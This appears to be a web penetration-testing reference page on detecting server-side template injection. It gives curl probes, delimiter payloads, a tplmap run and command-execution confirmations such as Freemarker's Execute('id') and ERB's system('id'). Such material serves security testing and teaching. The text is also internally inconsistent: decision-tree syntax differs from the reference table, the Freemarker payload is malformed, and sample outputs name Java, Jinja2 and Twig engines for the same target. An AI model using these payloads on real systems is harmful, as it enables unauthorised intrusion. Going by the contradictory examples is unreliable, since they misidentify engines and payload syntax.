# SSTI Detection

> Detect Server-Side Template Injection vulnerabilities by probing template engines with polyglot payloads, analysing error responses, and confirming execution via mathematical expression rendering.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/ssti-detection
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-03-28
- **Updated:** 2026-08-11

Server-side template injection occurs when user input is embedded in a template string and evaluated by the template engine. The result is often remote code execution since template engines have access to Python, Java, or PHP internals. Detection confirms evaluation is happening: engine identification determines the exploitation payload. Confirmed SSTI moves to [SSTI exploitation](https://hackindex.io/services/web/exploitation/ssti-exploitation).

- **Initial probe** sends `{{7*7}}` and checks if the response contains 49 instead of the literal string.
- **Engine identification** uses `{{7*'7'}}` to distinguish Jinja2 (49) from Twig (7777777).
- **Alternate delimiters** test `${7*7}`, `#{7*7}`, and `<%= 7*7 %>` for Java, Ruby, and ERB engines.
- **tplmap automation** detects the engine and confirms exploitability across all major template engines.

Target parameters that appear in rendered output: name, message, subject, query, template, search, greeting. Any parameter whose value appears reflected in the page is a candidate.

## Initial Probe

Send a mathematical expression wrapped in template delimiters. If the result is evaluated rather than reflected literally, template injection is confirmed:

```bash
curl -sk "http://$TARGET_IP:$PORT/page?name={{7*7}}" | grep -o '49'
# 49
```

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/render -d 'template={{7*7}}' | grep -o '49'
# 49
```

The response containing `49` instead of `{{7*7}}` confirms template evaluation. If the literal string `{{7*7}}` appears in the output, the template engine is not processing input or a different delimiter is needed.

## Engine Identification

Different template engines use different delimiters and syntax. Walk through these probes in order to narrow down the engine. Each step eliminates a group of engines based on how the application handles the input.

### Step-by-Step Decision Tree

**1. Test `${{7*7}}`** : if the response contains 49, the engine uses dollar-brace syntax. This points to Freemarker or Thymeleaf (Java). Differentiate by sending `${{"freemarker.template.utility.Execute"?new()("id"}}`: Freemarker executes it, Thymeleaf returns an error.

**2. Test `{{7*7}}`** : if 49 appears, the engine uses double-brace syntax. Send `{{7*'7'}}` next. If the result is 49, the engine is Jinja2 (Python multiplies int by string). If the result is `7777777`, the engine is Twig (PHP repeats the string). If the result is an error or empty, test for Handlebars by sending `{{this}}`: Handlebars renders the current context object.

**3. Test `#{{7*7}}`** : if 49 appears, the engine uses hash-brace syntax. This indicates Pug/Jade (Node.js) or Ruby ERB. Send `#{{self}}` next: Pug returns a JavaScript object representation, ERB returns a Ruby object string.

**4. Test `<%= 7*7 %>`** : if 49 appears, the engine uses ERB-style delimiters. This is Ruby ERB or EJS (Node.js). Send `<%= system('id') %>` to confirm ERB. EJS uses `<%= process.version %>` instead.

Once the engine is confirmed, proceed to engine-specific exploitation payloads.

```bash
curl -sk "http://$TARGET_IP:$PORT/page?name={{7*'7'}}" | grep -oE '[0-9]{4,}|7777777'
# 7777777
```

### Quick Reference Table

Engine identification from the response:

| Payload | Response | Engine |
| --- | --- | --- |
| {{7*7}} | 49 | Jinja2, Twig, Handlebars, or Nunjucks |
| {{7*'7'}} | 49 | Jinja2 (Python) |
| {{7*'7'}} | 7777777 | Twig (PHP) |
| ${7*7} | 49 | Freemarker or Thymeleaf (Java) |
| #{7*7} | 49 | Pug/Jade (Node.js) or Ruby ERB |
| <%= 7*7 %> | 49 | ERB (Ruby) or EJS (Node.js) |

## Test Multiple Delimiter Formats

If the standard Jinja2 delimiter does not work, try alternates used by other engines:

```bash
for payload in '{{7*7}}' '${7*7}' '#{7*7}' '<%= 7*7 %>' '[[7*7]]' '{7*7}'; do echo -n "$payload -> "; encoded=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$payload"); curl -sk "http://$TARGET_IP:$PORT/page?name=$encoded" | grep -o '49'; done
# {{7*7}} -> 
# ${7*7} -> 49
# #{7*7} -> 
# <%= 7*7 %> -> 
# [[7*7]] -> 
# {7*7} ->
```

`${7*7}` evaluating to 49 indicates a Java-based template engine. Use tplmap to automate engine identification and exploitation:

```bash
tplmap -u "http://$TARGET_IP:$PORT/page?name=test"
# [+] Tplmap 0.5
# [*] Testing if GET parameter 'name' is injectable
# [+] Jinja2 plugin is testing rendering with tag '{{'
# [+] Jinja2 rendered with tag '{{'
# [+] Jinja2 is vulnerable!
```

## References

- [PortSwigger: SSTI](https://portswigger.net/web-security/server-side-template-injection) - Detection methodology and engine identification decision tree
- [tplmap](https://github.com/epinna/tplmap) - Automated SSTI detection and exploitation tool
